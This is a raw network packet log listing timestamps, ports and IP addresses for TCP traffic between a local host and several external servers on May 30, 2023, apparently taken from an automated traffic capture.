May 30, 2023 11:06:51.790271044 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.790366888 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.790368080 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.790616035 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.790827990 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.790872097 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.791016102 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.791021109 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.791048050 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.791150093 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.791150093 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.791583061 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.791728020 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.791765928 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.791917086 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.791943073 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.792188883 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.792217970 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.792371035 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.792422056 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.792572021 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.792599916 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.792790890 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.792814970 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.792960882 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.792988062 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.793138027 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.793303013 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.793466091 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.793503046 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.793653011 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.793689966 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.793843031 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.793881893 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.794029951 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.794061899 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.794210911 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.794411898 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.794572115 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.794610977 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.794789076 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.794831038 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.794975042 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.795007944 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.795166016 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.795291901 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.795445919 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.795485020 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.795631886 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.795670033 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.795775890 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.795814991 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.795968056 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.796005964 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.796156883 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.796194077 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.796344995 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.796386003 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.796535015 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.796576977 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.796734095 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.796747923 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.796786070 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.796884060 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.796931982 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.796962023 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.797110081 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.797152042 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.797297001 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.797331095 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.797487974 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.797528028 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.797676086 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.797686100 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.797708035 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.797838926 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.797840118 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.797890902 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.798000097 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.798036098 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.798180103 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.798217058 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.798407078 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.798414946 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.798445940 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.798574924 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.798621893 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.798646927 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.798790932 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.798901081 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.799144983 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.799190044 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.799355030 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.799371004 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.799391985 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.799523115 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.799568892 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.799612045 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.799794912 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.799813986 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.799833059 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.800426006 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.800492048 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.800493002 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.800538063 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.800611973 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.800661087 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.800714016 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.800734043 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.800926924 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.800968885 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.801124096 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.801146030 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.801326990 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.801367044 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.801399946 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.801472902 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.801590919 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.801609039 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.801632881 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.801764011 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.801764965 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.801809072 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.801961899 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.801992893 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802148104 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.802166939 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802321911 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802356005 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.802381992 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802473068 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.802517891 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802520037 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.802536964 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802678108 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.802700996 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802800894 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802840948 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.802861929 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.802957058 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.802990913 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803004980 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803025961 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803142071 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803143024 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803175926 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803281069 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803317070 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803343058 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803427935 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803478956 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803498030 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803642035 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803663969 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803683043 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803828001 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803838015 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803838015 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803858042 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.803976059 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.803976059 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804012060 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804038048 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804157972 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804157972 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804188967 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804214001 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804337025 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804337025 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804366112 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804380894 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804517031 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804517031 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804539919 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804559946 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804667950 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804667950 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804692984 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804747105 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.804801941 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804850101 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804850101 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.804866076 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:07:53.773072004 CEST	49761	80	192.168.11.20	172.67.153.163
May 30, 2023 11:07:53.782308102 CEST	80	49761	172.67.153.163	192.168.11.20
May 30, 2023 11:07:53.782563925 CEST	49761	80	192.168.11.20	172.67.153.163
May 30, 2023 11:07:53.782634020 CEST	49761	80	192.168.11.20	172.67.153.163
May 30, 2023 11:07:53.791702986 CEST	80	49761	172.67.153.163	192.168.11.20
May 30, 2023 11:07:53.852998018 CEST	80	49761	172.67.153.163	192.168.11.20
May 30, 2023 11:07:53.853065968 CEST	80	49761	172.67.153.163	192.168.11.20
May 30, 2023 11:07:53.853404045 CEST	49761	80	192.168.11.20	172.67.153.163
May 30, 2023 11:07:53.853482962 CEST	49761	80	192.168.11.20	172.67.153.163
May 30, 2023 11:07:53.862798929 CEST	80	49761	172.67.153.163	192.168.11.20
May 30, 2023 11:08:08.913031101 CEST	49762	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:09.004374027 CEST	80	49762	109.123.121.243	192.168.11.20
May 30, 2023 11:08:09.004628897 CEST	49762	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:09.004703045 CEST	49762	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:09.092186928 CEST	80	49762	109.123.121.243	192.168.11.20
May 30, 2023 11:08:09.092273951 CEST	80	49762	109.123.121.243	192.168.11.20
May 30, 2023 11:08:09.092329025 CEST	80	49762	109.123.121.243	192.168.11.20
May 30, 2023 11:08:09.092551947 CEST	49762	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:10.516256094 CEST	49762	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:11.532309055 CEST	49763	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:11.585570097 CEST	80	49763	109.123.121.243	192.168.11.20
May 30, 2023 11:08:11.585832119 CEST	49763	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:11.585890055 CEST	49763	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:11.622454882 CEST	80	49763	109.123.121.243	192.168.11.20
May 30, 2023 11:08:11.625941992 CEST	80	49763	109.123.121.243	192.168.11.20
May 30, 2023 11:08:11.626837969 CEST	80	49763	109.123.121.243	192.168.11.20
May 30, 2023 11:08:11.627094030 CEST	49763	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:13.093836069 CEST	49763	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.109492064 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.128065109 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.128216028 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.128957033 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.147593021 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.147630930 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.147660017 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.147782087 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.147917032 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.148173094 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.148216009 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.148263931 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.166835070 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.167046070 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.167078018 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.167196989 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.167247057 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:14.167390108 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.186065912 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.186213017 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.186352015 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.186431885 CEST	80	49764	109.123.121.243	192.168.11.20
May 30, 2023 11:08:14.186687946 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:15.640208960 CEST	49764	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:16.655719042 CEST	49765	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:16.674916983 CEST	80	49765	109.123.121.243	192.168.11.20
May 30, 2023 11:08:16.675214052 CEST	49765	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:16.675271988 CEST	49765	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:16.694425106 CEST	80	49765	109.123.121.243	192.168.11.20
May 30, 2023 11:08:16.694511890 CEST	80	49765	109.123.121.243	192.168.11.20
May 30, 2023 11:08:16.694570065 CEST	80	49765	109.123.121.243	192.168.11.20
May 30, 2023 11:08:16.694962025 CEST	49765	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:16.694962978 CEST	49765	80	192.168.11.20	109.123.121.243
May 30, 2023 11:08:16.714078903 CEST	80	49765	109.123.121.243	192.168.11.20
May 30, 2023 11:08:21.969345093 CEST	49766	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:21.980110884 CEST	80	49766	91.195.240.45	192.168.11.20
May 30, 2023 11:08:21.980256081 CEST	49766	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:21.980484962 CEST	49766	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:21.996994972 CEST	80	49766	91.195.240.45	192.168.11.20
May 30, 2023 11:08:21.997033119 CEST	80	49766	91.195.240.45	192.168.11.20
May 30, 2023 11:08:21.997215986 CEST	49766	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:23.482259989 CEST	49766	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:24.499407053 CEST	49767	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:24.510454893 CEST	80	49767	91.195.240.45	192.168.11.20
May 30, 2023 11:08:24.510797977 CEST	49767	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:24.510998011 CEST	49767	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:24.522293091 CEST	80	49767	91.195.240.45	192.168.11.20
May 30, 2023 11:08:24.522341013 CEST	80	49767	91.195.240.45	192.168.11.20
May 30, 2023 11:08:24.522552967 CEST	49767	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:26.012988091 CEST	49767	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.028609991 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.039901018 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.040148020 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.040822983 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.040904999 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.051908970 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.051980972 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052083015 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052151918 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052150965 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.052200079 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052246094 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052330017 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.052411079 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052460909 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052493095 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.052506924 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052562952 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.052658081 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.052826881 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.063441992 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.063513994 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.063564062 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.063687086 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.063805103 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.063863993 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:27.063985109 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.064090967 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.064151049 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.064196110 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.064244032 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.064291954 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.075287104 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.075361013 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.075412989 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.075458050 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.075711966 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.075786114 CEST	80	49768	91.195.240.45	192.168.11.20
May 30, 2023 11:08:27.075990915 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:28.543544054 CEST	49768	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.559180975 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.569833994 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.570107937 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.570107937 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.621542931 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835031033 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835128069 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835194111 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835274935 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835333109 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835390091 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835398912 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.835474968 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835530043 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835557938 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.835609913 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835655928 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.835736990 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.835736990 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.835900068 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.846292973 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846380949 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846451998 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846515894 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846573114 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846626997 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846647024 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.846716881 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846774101 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846817017 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.846854925 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846911907 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846966982 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.846986055 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.846986055 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.847054005 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847109079 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847157001 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.847187042 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847242117 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847297907 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847326040 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.847377062 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847431898 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847486973 CEST	80	49769	91.195.240.45	192.168.11.20
May 30, 2023 11:08:29.847496986 CEST	49769	80	192.168.11.20	91.195.240.45
May 30, 2023 11:08:29.847562075 CEST	80	49769	91.195.240.45	192.168.11.20
